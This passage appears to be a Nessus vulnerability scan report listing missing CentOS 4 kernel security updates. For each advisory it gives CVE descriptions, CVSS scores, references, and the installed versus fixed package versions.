CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.6 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	25774
CVE	CVE-2007-4573
XREF	RHSA:2007:0937
XREF	CWE:264

Plugin Information

Published: 2007/10/03, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-55.0.9.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-55.0.9.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-55.0.9.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-55.0.9.EL
```

29751 - CentOS 4 : kernel (CESA-2007:1104)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix various security issues and several bugs in the Red Hat Enterprise Linux 4 kernel are now available.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

These updated packages fix the following security issues :

A flaw was found in the handling of IEEE 802.11 frames, which affected several wireless LAN modules. In certain situations, a remote attacker could trigger this flaw by sending a malicious packet over a wireless network, causing a denial of service (kernel crash). (CVE-2007-4997, Important)

A memory leak was found in the Red Hat Content Accelerator kernel patch. A local user could use this flaw to cause a denial of service (memory exhaustion). (CVE-2007-5494, Important)

Additionally, the following bugs were fixed :

* when running the 'ls -la' command on an NFSv4 mount point, incorrect file attributes, and outdated file size and timestamp information were returned. As well, symbolic links may have been displayed as actual files.

* a bug which caused the cmirror write path to appear deadlocked after a successful recovery, which may have caused syncing to hang, has been resolved.

* a kernel panic which occurred when manually configuring LCS interfaces on the IBM S/390 has been resolved.

* when running a 32-bit binary on a 64-bit system, it was possible to mmap page at address 0 without flag MAP_FIXED set. This has been resolved in these updated packages.

* the Non-Maskable Interrupt (NMI) Watchdog did not increment the NMI interrupt counter in '/proc/interrupts' on systems running an AMD Opteron CPU. This caused systems running NMI Watchdog to restart at regular intervals.

* a bug which caused the diskdump utility to run very slowly on devices using Fusion MPT has been resolved.

All users are advised to upgrade to these updated packages, which resolve these issues.

See Also

<http://www.nessus.org/u?a3ea55ac>

<http://www.nessus.org/u?cbae523f>

<http://www.nessus.org/u?e0eef7d>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

References

BID	26337
CVE	CVE-2007-4997
CVE	CVE-2007-5494
XREF	RHSA:2007:1104
XREF	CWE:189
XREF	CWE:399

Plugin Information

Published: 2007/12/24, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-67.0.1.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-67.0.1.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-67.0.1.EL
```

```
Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-67.0.1.EL
```

30154 - CentOS 4 : kernel (CESA-2008:0055)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix several security issues and a bug in the Red Hat Enterprise Linux 4 kernel are now available.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

These updated kernel packages fix the following security issues :

A flaw was found in the virtual filesystem (VFS). A local unprivileged user could truncate directories to which they had write permission; this could render the contents of the directory inaccessible.
(CVE-2008-0001, Important)

A flaw was found in the implementation of ptrace. A local unprivileged user could trigger this flaw and possibly cause a denial of service (system hang). (CVE-2007-5500, Important)

A flaw was found in the way the Red Hat Enterprise Linux 4 kernel handled page faults when a CPU used the NUMA method for accessing memory on Itanium architectures. A local unprivileged user could trigger this flaw and cause a denial of service (system panic).
(CVE-2007-4130, Important)

A possible NULL pointer dereference was found in the chrp_show_cpubinfo function when using the PowerPC architecture. This may have allowed a local unprivileged user to cause a denial of service (crash).
(CVE-2007-6694, Moderate)

A flaw was found in the way core dump files were created. If a local user can get a root-owned process to dump a core file into a directory, which the user has write access to, they could gain read access to that core file. This could potentially grant unauthorized access to sensitive information. (CVE-2007-6206, Moderate)

Two buffer overflow flaws were found in the Linux kernel ISDN subsystem. A local unprivileged user could use these flaws to cause a denial of service. (CVE-2007-6063, CVE-2007-6151, Moderate)

As well, these updated packages fix the following bug :

* when moving volumes that contain multiple segments, and a mirror segment is not the first in the mapping table, running the 'pvmmove /dev/[device] /dev/[device]' command caused a kernel panic. A 'kernel: Unable to handle kernel paging request at virtual address [address]' error was logged by syslog.

Red Hat Enterprise Linux 4 users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?dcbd22d2>
<http://www.nessus.org/u?2a34ca2f>
<http://www.nessus.org/u?b5def49d>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	26477
BID	26605
BID	26701
BID	27280
BID	27497
CVE	CVE-2007-4130
CVE	CVE-2007-5500
CVE	CVE-2007-6063
CVE	CVE-2007-6151
CVE	CVE-2007-6206
CVE	CVE-2007-6694
CVE	CVE-2008-0001
XREF	RHSA:2008:0055
XREF	CWE:16
XREF	CWE:20
XREF	CWE:119
XREF	CWE:399

Plugin Information

Published: 2008/02/05, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-67.0.4.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-67.0.4.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-67.0.4.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-67.0.4.EL

43682 - CentOS 4 : kernel (CESA-2008:0237)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix various security issues and several bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

These updated packages fix the following security issues :

* the absence of a protection mechanism when attempting to access a critical section of code has been found in the Linux kernel open file descriptors control mechanism, fcntl. This could allow a local unprivileged user to simultaneously execute code, which would otherwise be protected against parallel execution. As well, a race condition when handling locks in the Linux kernel fcntl functionality, may have allowed a process belonging to a local unprivileged user to gain re-ordered access to the descriptor table. (CVE-2008-1669, Important)

* on AMD64 architectures, the possibility of a kernel crash was discovered by testing the Linux kernel process-trace ability. This could allow a local unprivileged user to cause a denial of service (kernel crash). (CVE-2008-1615, Important)

* the absence of a protection mechanism when attempting to access a critical section of code, as well as a race condition, have been found in the Linux kernel file system event notifier, dnotify. This could allow a local unprivileged user to get inconsistent data, or to send arbitrary signals to arbitrary system processes. (CVE-2008-1375, Important)

Red Hat would like to thank Nick Piggin for responsibly disclosing the following issue :

* when accessing kernel memory locations, certain Linux kernel drivers registering a fault handler did not perform required range checks. A local unprivileged user could use this flaw to gain read or write access to arbitrary kernel memory, or possibly cause a kernel crash.
(CVE-2008-0007, Important)

* the possibility of a kernel crash was found in the Linux kernel IPsec protocol implementation, due to improper handling of fragmented ESP packets. When an attacker controlling an intermediate router fragmented these packets into very small pieces, it would cause a kernel crash on the receiving node during packet reassembly.
(CVE-2007-6282, Important)

* a flaw in the MOXA serial driver could allow a local unprivileged user to perform privileged operations, such as replacing firmware.
(CVE-2005-0504, Important)

As well, these updated packages fix the following bugs :

* multiple buffer overflows in the neofb driver have been resolved. It was not possible for an unprivileged user to exploit these issues, and as such, they have not been handled as security issues.

* a kernel panic, due to inconsistent detection of AGP aperture size, has been resolved.

* a race condition in UNIX domain sockets may have caused 'recv()' to return zero. In clustered configurations, this may have caused unexpected failovers.

* to prevent link storms, network link carrier events were delayed by up to one second, causing unnecessary packet loss. Now, link carrier events are scheduled immediately.

* a client-side race on blocking locks caused large time delays on NFS file systems.

* in certain situations, the libATA sata_nv driver may have sent commands with duplicate tags, which were rejected by SATA devices. This may have caused infinite reboots.

* running the 'service network restart' command may have caused networking to fail.

* a bug in NFS caused cached information about directories to be stored for too long, causing wrong attributes to be read.

* on systems with a large highmem/lowmem ratio, NFS write performance may have been very slow when using small files.

* a bug, which caused network hangs when the system clock was wrapped around zero, has been resolved.

Red Hat Enterprise Linux 4 users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?fe137d8d>

<http://www.nessus.org/u?2564d283>

<http://www.nessus.org/u?c12bdf90>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:U/RL:OF/RC:C)

References

BID	29003
BID	29076
BID	29081
BID	29086
CVE	CVE-2005-0504
CVE	CVE-2007-6282
CVE	CVE-2008-0007
CVE	CVE-2008-1375
CVE	CVE-2008-1615
CVE	CVE-2008-1669
XREF	RHSA:2008:0237
XREF	CWE:16
XREF	CWE:94
XREF	CWE:119
XREF	CWE:362
XREF	CWE:399

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-67.0.15.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-67.0.15.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-67.0.15.EL
```

```
Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-67.0.15.EL
```

33365 - CentOS 4 : kernel (CESA-2008:0508)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix several security issues and a bug are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

These updated packages fix the following security issues :

* A security flaw was found in the Linux kernel memory copy routines, when running on certain AMD64 systems. If an unsuccessful attempt to copy kernel memory from source to destination memory locations occurred, the copy routines did not zero the content at the destination memory location. This could allow a local unprivileged user to view potentially sensitive data. (CVE-2008-2729, Important)

* Alexey Dobriyan discovered a race condition in the Linux kernel process-tracing system call, ptrace. A local unprivileged user could use this flaw to cause a denial of service (kernel hang).
(CVE-2008-2365, Important)

* Tavis Ormandy discovered a deficiency in the Linux kernel 32-bit and 64-bit emulation. This could allow a local unprivileged user to prepare and run a specially crafted binary, which would use this deficiency to leak uninitialized and potentially sensitive data.
(CVE-2008-0598, Important)

* It was discovered that the Linux kernel handled string operations in the opposite way to the GNU Compiler Collection (GCC). This could allow a local unprivileged user to cause memory corruption.
(CVE-2008-1367, Low)

As well, these updated packages fix the following bug :

* On systems with a large number of CPUs (more than 16), multiple applications calling the 'times()' system call may have caused a system hang.

Red Hat Enterprise Linux 4 users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?df2b82ae>
<http://www.nessus.org/u?3d2bd96d>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.9 (CVSS2#E:POC/RL:OF/RC:C)

References

BID	29942
CVE	CVE-2008-0598
CVE	CVE-2008-1367
CVE	CVE-2008-2365
CVE	CVE-2008-2729
XREF	RHSA:2008:0508
XREF	CWE:200
XREF	CWE:362
XREF	CWE:399

Plugin Information

Published: 2008/07/02, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-67.0.20.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-67.0.20.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-67.0.20.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-67.0.20.EL

43700 - CentOS 4 : kernel (CESA-2008:0607)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix a security issue and several bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

These updated packages fix the following security issue :

* a possible kernel memory leak was found in the Linux kernel Simple Internet Transition (SIT) INET6 implementation. This could allow a local unprivileged user to cause a denial of service. (CVE-2008-2136, Important)

As well, these updated packages fix the following bugs :

* a possible kernel hang on hugemem systems, due to a bug in NFS, which may have caused systems to become unresponsive, has been resolved.

* an inappropriate exit condition occurred in the architecture-specific 'mmap()' realization, which fell into an infinite loop under certain conditions. On 64-bit systems, this issue may have manifested itself to users as a soft lockup, or process hangs.

* due to a bug in hardware initialization in the 'ohci_hcd' kernel module, the kernel may have failed with a NULL pointer dereference. On 64-bit PowerPC systems, this may have caused booting to fail, and drop to xmon. On other platforms, a kernel oops occurred.

* due to insufficient locks in task termination code, a panic may have occurred in the 'sys_times()' system call on SMP machines.

Red Hat Enterprise Linux 4 users are advised to upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?57a690cc>
<http://www.nessus.org/u?b2c26320>
<http://www.nessus.org/u?adc71419>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	29235
CVE	CVE-2008-2136
XREF	RHSA:2008:0607
XREF	CWE:399

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

```

Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-67.0.22.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-67.0.22.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-67.0.22.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-67.0.22.EL

```

43727 - CentOS 4 : kernel (CESA-2009:0014)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that resolve several security issues and fix various bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update addresses the following security issues :

- * the sendmsg() function in the Linux kernel did not block during UNIX socket garbage collection. This could, potentially, lead to a local denial of service. (CVE-2008-5300, Important)

- * when fput() was called to close a socket, the __scm_destroy() function in the Linux kernel could make indirect recursive calls to itself. This could, potentially, lead to a local denial of service.
(CVE-2008-5029, Important)

- * a deficiency was found in the Linux kernel virtual file system (VFS) implementation. This could allow a local, unprivileged user to make a series of file creations within deleted directories, possibly causing a denial of service. (CVE-2008-3275, Moderate)

- * a buffer underflow flaw was found in the Linux kernel IB700 SBC watchdog timer driver. This deficiency could lead to a possible information leak. By default, the '/dev/watchdog' device is accessible only to the root user. (CVE-2008-5702, Low)

- * the hfs and hfsplus file systems code failed to properly handle corrupted data structures. This could, potentially, lead to a local denial of service. (CVE-2008-4933, CVE-2008-5025, Low)

- * a flaw was found in the hfsplus file system implementation. This could, potentially, lead to a local denial of service when write operations were performed. (CVE-2008-4934, Low)

This update also fixes the following bugs :

- * when running Red Hat Enterprise Linux 4.6 and 4.7 on some systems running Intel(r) CPUs, the cpuspeed daemon did not run, preventing the CPU speed from being changed, such as not being reduced to an idle state when not in use.

- * mmap() could be used to gain access to beyond the first megabyte of RAM, due to insufficient checks in the Linux kernel code. Checks have been added to prevent this.

- * attempting to turn keyboard LEDs on and off rapidly on keyboards with slow keyboard controllers, may have caused key presses to fail.

- * after migrating a hypervisor guest, the MAC address table was not updated, causing packet loss and preventing network connections to the guest. Now, a gratuitous ARP request is sent after migration. This refreshes the ARP caches, minimizing network downtime.

- * writing crash dumps with diskdump may have caused a kernel panic on Non-Uniform Memory Access (NUMA) systems with certain memory configurations.

- * on big-endian systems, such as PowerPC, the getsockopt() function incorrectly returned 0 depending on the parameters passed to it when the time to live (TTL) value equaled 255, possibly causing memory corruption and application crashes.

- * a problem in the kernel packages provided by the RHSA-2008:0508 advisory caused the Linux kernel's built-in memory copy procedure to return the wrong error code after recovering from a page fault on AMD64 and Intel 64 systems. This may have caused other Linux kernel functions to return wrong error codes.

- * a divide-by-zero bug in the Linux kernel process scheduler, which may have caused kernel panics on certain systems, has been resolved.

- * the netconsole kernel module caused the Linux kernel to hang when slave interfaces of bonded network interfaces were started, resulting in a system hang or kernel panic when restarting the network.

- * the '/proc/xen/' directory existed even if systems were not running Red Hat Virtualization. This may have caused problems for third-party software that checks

virtualization-ability based on the existence of '/proc/xen/'. Note: this update will remove the '/proc/xen/' directory on systems not running Red Hat Virtualization.

All Red Hat Enterprise Linux 4 users should upgrade to these updated packages, which contain backported patches to resolve these issues.

See Also

<http://www.nessus.org/u?9713ddeb>
<http://www.nessus.org/u?84bc83a7>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

5.8 (CVSS2#E:U/RL:OF/RC:C)

References

BID	30647
BID	32093
BID	32154
BID	32289
CVE	CVE-2008-3275
CVE	CVE-2008-4933
CVE	CVE-2008-4934
CVE	CVE-2008-5025
CVE	CVE-2008-5029
CVE	CVE-2008-5300
CVE	CVE-2008-5702
XREF	RHSA:2009:0014
XREF	CWE:20
XREF	CWE:119
XREF	CWE:399

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-78.0.13.EL
```

```
Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-78.0.13.EL
```

```
Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-78.0.13.EL
```

```
Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-78.0.13.EL
```

40753 - CentOS 4 : kernel (CESA-2009:1223)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix two security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

These updated packages fix the following security issues :

* a flaw was found in the SOCKOPS_WRAP macro in the Linux kernel. This macro did not initialize the sendpage operation in the proto_ops structure correctly. A local, unprivileged user could use this flaw to cause a local denial of service or escalate their privileges. (CVE-2009-2692, Important)

* a flaw was found in the udp_sendmsg() implementation in the Linux kernel when using the MSG_MORE flag on UDP sockets. A local, unprivileged user could use this flaw to cause a local denial of service or escalate their privileges. (CVE-2009-2698, Important)

Red Hat would like to thank Tavis Ormandy and Julien Tinnes of the Google Security Team for responsibly reporting these flaws.

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?2eaa249d>
<http://www.nessus.org/u?9a687bf1>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.2 (CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

6.3 (CVSS2#E:H/RL:OF/RC:C)

References

BID	36038
CVE	CVE-2009-2692
CVE	CVE-2009-2698
XREF	RHSA:2009:1223
XREF	CWE:119

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2009/08/25, Modified: 2021/01/04

Plugin Output

tcp/0

```
Remote package installed : kernel-2.6.9-55.EL
Should be : kernel-2.6.9-89.0.9.EL

Remote package installed : kernel-devel-2.6.9-55.EL
Should be : kernel-devel-2.6.9-89.0.9.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
Should be : kernel-hugemem-devel-2.6.9-89.0.9.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
Should be : kernel-smp-devel-2.6.9-89.0.9.EL
```

43790 - CentOS 4 : kernel (CESA-2009:1438)

Synopsis

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix several security issues and several bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

* the ADDR_COMPAT_LAYOUT and MMAP_PAGE_ZERO flags were not cleared when a setuid or setgid program was executed. A local, unprivileged user could use this flaw to bypass the mmap_min_addr protection mechanism and perform a NULL pointer dereference attack, or bypass the Address Space Layout Randomization (ASLR) security feature.
(CVE-2009-1895, Important)

* it was discovered that, when executing a new process, the clear_child_tid pointer in the Linux kernel is not cleared. If this pointer points to a writable portion of the memory of the new program, the kernel could corrupt four bytes of memory, possibly leading to a local denial of service or privilege escalation. (CVE-2009-2848, Important)

* Solar Designer reported a missing capability check in the z90crypt driver in the Linux kernel. This missing check could allow a local user with an effective user ID (euid) of 0 to bypass intended capability restrictions. (CVE-2009-1883, Moderate)

* a flaw was found in the way the do_sigaltstack() function in the Linux kernel copies the stack_t structure to user-space. On 64-bit machines, this flaw could lead to a four-byte information leak.
(CVE-2009-2847, Moderate)

This update also fixes the following bugs :

* the gcc flag '-fno-delete-null-pointer-checks' was added to the kernel build options. This prevents gcc from optimizing out NULL pointer checks after the first use of a pointer. NULL pointer bugs are often exploited by attackers. Keeping these checks is a safety measure. (BZ#517964)

* the Emulex LPFC driver has been updated to version 8.0.16.47, which fixes a memory leak that caused memory allocation failures and system hangs.
(BZ#513192)

* an error in the MPT Fusion driver makefile caused CSMI ioctls to not work with Serial Attached SCSI devices. (BZ#516184)

* this update adds the mmap_min_addr tunable and restriction checks to help prevent unprivileged users from creating new memory mappings below the minimum address. This can help prevent the exploitation of NULL pointer deference bugs. Note that mmap_min_addr is set to zero (disabled) by default for backwards compatibility. (BZ#517904)

* time-outs resulted in I/O errors being logged to '/var/log/messages'
when running 'mt erase' on tape drives using certain LSI MegaRAID SAS adapters, preventing the command from completing. The megaraid_sas driver's timeout value is now set to the OS layer value. (BZ#517965)

* a locking issue caused the qla2xxx ioctl module to hang after encountering errors. This locking issue has been corrected. This ioctl module is used by the QLogic SAN management tools, such as SANsurfer and scli. (BZ#519428)

* when a RAID 1 array that uses the mptscsi driver and the LSI 1030 controller became degraded, the whole array was detected as being offline, which could cause kernel panics at boot or data loss.
(BZ#517295)

* on 32-bit architectures, if a file was held open and frequently written for more than 25 days, it was possible that the kernel would stop flushing those writes to storage. (BZ#515255)

* a memory allocation bug in ib_mthca prevented the driver from loading if it was loaded with large values for the 'num_mpt=' and 'num_mtt=' options.
(BZ#518707)

* with this update, get_random_int() is more random and no longer uses a common seed value, reducing the possibility of predicting the values returned.
(BZ#519692)

* a bug in __ptrace_unlink() caused it to create deadlocked and unkillable processes. (BZ#519446)

* previously, multiple threads using the fcntl() F_SETLK command to synchronize file access caused a deadlock in posix_locks_deadlock().
This could cause a system hang. (BZ#519429)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?aaba8cb3>
<http://www.nessus.org/u?32e39d13>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:C/I:N/A:N)

CVSS v2.0 Temporal Score

6.8 (CVSS2#E:H/RL:OF/RC:C)

References

BID	35647
BID	35930
CVE	CVE-2009-1883
CVE	CVE-2009-1895
CVE	CVE-2009-2847
CVE	CVE-2009-2848
CVE	CVE-2009-3238
XREF	RHSA:2009:1438
XREF	CWE:16
XREF	CWE:264
XREF	CWE:310

Plugin Information

Published: 2010/01/06, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
 Should be : kernel-2.6.9-89.0.11.EL

Remote package installed : kernel-devel-2.6.9-55.EL
 Should be : kernel-devel-2.6.9-89.0.11.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
 Should be : kernel-hugemem-devel-2.6.9-89.0.11.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
 Should be : kernel-smp-devel-2.6.9-89.0.11.EL

67067 - CentOS 4 : kernel (CESA-2009:1541)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix security issues are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

* a NULL pointer dereference flaw was found in each of the following functions in the Linux kernel: pipe_read_open(), pipe_write_open(), and pipe_rdwr_open(). When the mutex lock is not held, the i_pipe pointer could be released by other processes before it is used to update the pipe's reader and writer counters. This could lead to a local denial of service or privilege escalation. (CVE-2009-3547, Important)

Users should upgrade to these updated packages, which contain a backported patch to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?e49d36a5>
<http://www.nessus.org/u?15a99734>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.8 (CVSS2#E:H/RL:OF/RC:C)

References

BID	36901
CVE	CVE-2009-1895
CVE	CVE-2009-2691
CVE	CVE-2009-2695
CVE	CVE-2009-2849
CVE	CVE-2009-2910
CVE	CVE-2009-3002
CVE	CVE-2009-3228
CVE	CVE-2009-3547
CVE	CVE-2009-3612
CVE	CVE-2009-3613
CVE	CVE-2009-3620
CVE	CVE-2009-3621
XREF	RHSA:2009:1541
XREF	CWE:16
XREF	CWE:20
XREF	CWE:119
XREF	CWE:200
XREF	CWE:362
XREF	CWE:399

Exploitable With

CANVAS (true)

Plugin Information

Published: 2013/06/29, Modified: 2021/01/04

Plugin Output

tcp/0

Remote package installed : kernel-2.6.9-55.EL
 Should be : kernel-2.6.9-89.0.16.EL

Remote package installed : kernel-devel-2.6.9-55.EL
 Should be : kernel-devel-2.6.9-89.0.16.EL

Remote package installed : kernel-hugemem-devel-2.6.9-55.EL
 Should be : kernel-hugemem-devel-2.6.9-89.0.16.EL

Remote package installed : kernel-smp-devel-2.6.9-55.EL
 Should be : kernel-smp-devel-2.6.9-89.0.16.EL

43354 - CentOS 4 : kernel (CESA-2009:1671)**Synopsis**

The remote CentOS host is missing one or more security updates.

Description

Updated kernel packages that fix multiple security issues and several bugs are now available for Red Hat Enterprise Linux 4.

This update has been rated as having important security impact by the Red Hat Security Response Team.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following security issues :

* A flaw was found in the Realtek r8169 Ethernet driver in the Linux kernel. `pci_unmap_single()` presented a memory leak that could lead to IOMMU space exhaustion and a system crash. An attacker on the local network could trigger this flaw by using jumbo frames for large amounts of network traffic. (CVE-2009-3613, Important)

* NULL pointer dereference flaws were found in the r128 driver in the Linux kernel. Checks to test if the Concurrent Command Engine state was initialized were missing in private IOCTL functions. An attacker could use these flaws to cause a local denial of service or escalate their privileges. (CVE-2009-3620, Important)

* An information leak was found in the Linux kernel. On AMD64 systems, 32-bit processes could access and read certain 64-bit registers by temporarily switching themselves to 64-bit mode. (CVE-2009-2910, Moderate)

* the unix_stream_connect() function in the Linux kernel did not check if a UNIX domain socket was in the shutdown state. This could lead to a deadlock. A local, unprivileged user could use this flaw to cause a denial of service. (CVE-2009-3621, Moderate)

This update also fixes the following bugs :

* an iptables rule with the recent module and a hit count value greater than the ip_pkt_list_tot parameter (the default is 20), did not have any effect over packets, as the hit count could not be reached. (BZ#529306)

* in environments that use dual-controller storage devices with the cciss driver, Device-Mapper Multipath maps could not be detected and configured, due to the cciss driver not exporting the bus attribute via sysfs. This attribute is now exported. (BZ#529309)

* the kernel crashed with a divide error when a certain joystick was attached. (BZ#532027)

* a bug in the mptctl_do_mpt_command() function in the mpt driver may have resulted in crashes during boot on i386 systems with certain adapters using the mpt driver, and also running the hugemem kernel.
(BZ#533798)

* on certain hardware, the igb driver was unable to detect link statuses correctly. This may have caused problems for network bonding, such as failover not occurring. (BZ#534105)

* the RHSA-2009:1024 update introduced a regression. After updating to Red Hat Enterprise Linux 4.8 and rebooting, network links often failed to be brought up for interfaces using the forcedeth driver. 'no link during initialization' messages may have been logged. (BZ#534112)

* the RHSA-2009:1024 update introduced a second regression. On certain systems, PS/2 keyboards failed to work. (BZ#537344)

* a bug in checksum offload calculations could have crashed the bnx2x firmware when the iptable_nat module was loaded, causing network traffic to stop.
(BZ#537013)

* a check has been added to the IPv4 code to make sure that the routing table data structure, rt, is not NULL, to help prevent future bugs in functions that call ip_append_data() from being exploitable.
(BZ#537016)

* possible kernel pointer dereferences on systems with several NFS mounts (a mixture of '-o lock' and '-o nolock'), which in rare cases may have caused a system crash, have been resolved. (BZ#537017)

Users should upgrade to these updated packages, which contain backported patches to correct these issues. The system must be rebooted for this update to take effect.

See Also

<http://www.nessus.org/u?efa46cef>
<http://www.nessus.org/u?f873f9c6>

Solution

Update the affected kernel packages.

Risk Factor

High

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

